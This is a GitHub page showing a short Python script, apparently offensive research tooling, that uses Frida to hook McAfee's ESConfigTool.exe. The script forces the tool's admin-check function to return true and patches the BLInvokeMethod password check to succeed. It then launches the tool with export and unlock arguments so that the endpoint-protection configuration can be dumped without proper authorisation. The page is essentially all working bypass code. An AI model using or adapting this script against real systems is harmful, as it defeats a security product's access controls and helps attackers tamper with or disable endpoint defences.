-
Notifications
You must be signed in to change notification settings - Fork 13
/
Copy pathmcafee.py
63 lines (53 loc) · 1.44 KB
/
mcafee.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env python
import frida
def get_script():
script = """
const configBase = Module.findBaseAddress('ESConfigTool.exe');
//const adminCheck = configBase.add(0x5240); //32
const adminCheck = configBase.add(0x5f30); //64
const BLInvokeMethod = Module.findExportByName('blframework.dll','BLInvokeMethod')
console.log('[-] Base address is:',configBase);
console.log('[-] Admin check is:',adminCheck);
console.log('[-] BLInvokeMethod:',BLInvokeMethod);
Interceptor.attach(adminCheck, {
onEnter: function (args) {
console.log('[+] Hooked admin check function');
},
onLeave: function (retval) {
console.log('[+] Returning true for admin check');
retval.replace(1);
}
});
Interceptor.attach(BLInvokeMethod, {
onEnter: function (args) {
console.log('[+] Hooked BLInvokeMethod function');
},
onLeave: function (retval) {
console.log('[+] Patching password check function');
retval.replace(0x0);
}
});
"""
return script
def main():
args = [
'ESConfigTool.exe',
'/export',
'c:\\tem\\ESP.xml',
'/module',
'TP',
'/unlock',
'starwars',
# This may fail sometimes, not sure why. Versions?
#'/plaintext'
]
devmgr = frida.get_device_manager()
devmgr.add_remote_device('127.0.0.1')
rdev = frida.get_device('tcp@127.0.0.1')
pid = rdev.spawn(args)
session = rdev.attach(pid)
session.create_script(get_script()).load()
rdev.resume(pid)
input()
if __name__ == '__main__':
main()